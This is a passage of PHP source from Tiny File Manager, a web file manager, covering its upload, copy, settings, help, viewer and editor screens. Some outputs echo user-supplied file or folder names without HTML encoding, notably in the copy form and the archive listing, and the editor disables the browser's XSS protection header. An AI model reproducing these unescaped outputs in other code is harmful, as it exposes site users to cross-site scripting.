    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

/*************************** ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/", $path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path, $path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file, $new_path)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file, $new_path)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt()
    {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if (FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function (&$x) {
                $x = ".$x";
            });
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple />
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook">
                            <div></div>
                            <div></div>
                            <div></div>
                        </div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles: "<?php echo getUploadExt() ?>",
            init: function() {
                this.on("sending", function(file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function(res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if (_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
<?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <div class="card" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input">
                        <label for="js-move-files" class="custom-control-label ms-2"><?php echo lng('Move') ?></label>
                    </p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
            ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
            <?php
            }
            foreach ($folders as $f) {
            ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a>
                </li>
            <?php
            }
            ?>
        </ul>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l)
                                {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' " . getSelected($k) . ">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100 text-capitalize" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if ($theme == "light") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('light') ?>
                                </option>
                                <option value='dark' <?php if ($theme == "dark") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('dark') ?>
                                </option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                    <small class="text-body-secondary">* <?php echo lng('Sometimes the save action may not work on the first try, so please attempt it again') ?>.</span>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p>
                        <h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3>
                        </p>
                        <p>Author: PRAŚATH MANİ</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers [at] gmail [dot] com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if (!FM_READONLY) { ?>
                                    <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file, $path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if ($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())) {
        $is_onlineViewer = true;
    } elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="row">
        <div class="col-12">
            <ul class="list-group w-50 my-3" data-bs-theme="<?php echo FM_THEME; ?>">
                <li class="list-group-item active" aria-current="true"><strong><?php echo lng($view_title) ?>:</strong> <?php echo fm_enc(fm_convert_win($file)) ?></li>
                <?php $display_path = fm_get_display_path($file_path); ?>
                <li class="list-group-item"><strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?></li>
                <li class="list-group-item"><strong><?php echo lng('Date Modified') ?>:</strong> <?php echo date(FM_DATETIME_FORMAT, filemtime($file_path)); ?></li>
                <li class="list-group-item"><strong><?php echo lng('File size') ?>:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?></li>
                <li class="list-group-item"><strong><?php echo lng('MIME-type') ?>:</strong> <?php echo $mime_type ?></li>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) && $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                ?>
                    <li class="list-group-item"><?php echo lng('Files in archive') ?>: <?php echo $total_files ?></li>
                    <li class="list-group-item"><?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?></li>
                    <li class="list-group-item"> <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?></li>
                    <li class="list-group-item"><?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%</li>
                <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<li class="list-group-item"><strong>' . lng('Image size') . ':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '</li>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<li class="list-group-item"><strong>' . lng('Charset') . ':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '</li>';
                }
                ?>
            </ul>
            <div class="btn-group btn-group-sm flex-wrap" role="group">
                <form method="post" class="d-inline mb-0 btn btn-outline-primary" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link btn-sm text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <?php if (!FM_READONLY): ?>
                    <a class="fw-bold btn btn-outline-primary" title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($file) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($file); ?>', this.href);"> <i class="fa fa-trash"></i> Delete</a>
                <?php endif; ?>
                <a class="fw-bold btn btn-outline-primary" href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                ?>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0 border-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>
                <?php
                }
                if ($is_text && !FM_READONLY) {
                ?>
                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file">
                        <i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                    </a>
                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                        class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('AdvancedEditor') ?>
                    </a>
                <?php } ?>
                <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
            </div>
            <div class="row mt-3">
                <?php
                if ($is_onlineViewer) {
                    if ($online_viewer == 'google') {
                        echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    } else if ($online_viewer == 'microsoft') {
                        echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                    }
                } elseif ($is_zip) {
                    // ZIP content
                    if ($filenames !== false) {
                        echo '<code class="maxheight">';
                        foreach ($filenames as $fn) {
                            if ($fn['folder']) {
                                echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                            } else {
                                echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                            }
                        }
                        echo '</code>';
                    } else {
                        echo '<p>' . lng('Error while fetching archive info') . '</p>';
                    }
                } elseif ($is_image) {
                    // Image content
                    if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                        echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fm_enc($file_url) . '" alt="image" class="preview-img"></label></p>';
                    }
                } elseif ($is_audio) {
                    // Audio content
                    echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
                } elseif ($is_video) {
                    // Video content
                    echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
                } elseif ($is_text) {
                    if (FM_USE_HIGHLIGHTJS) {
                        // highlight
                        $hljs_classes = array(
                            'shtml' => 'xml',
                            'htaccess' => 'apache',
                            'phtml' => 'php',
                            'lock' => 'json',
                            'svg' => 'xml',
                        );
                        $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                        if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                            $hljs_class = 'nohighlight';
                        }
                        $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                    } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                        // php highlight
                        $content = highlight_string($content, true);
                    } else {
                        $content = '<pre>' . fm_enc($content) . '</pre>';
                    }
                    echo $content;
                }
                ?>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) && !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file, $path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>' . $file . '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block">
                                <option>-- <?php echo lng('Select Mode') ?> --</option>
                            </select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Theme') ?> --</option>
                            </select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block">
                                <option>-- <?php echo lng('Select Font Size') ?> --</option>
                            </select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <div class="btn-group">
                    <a title=" <?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                    <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                    <?php if ($is_text) { ?>
                        <?php if ($isNormalEditor) { ?>
                            <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                            </button>
                        <?php } else { ?>
                            <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                            <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                            </button>
                        <?php } ?>
                    <?php } ?>
                </div>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
<?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
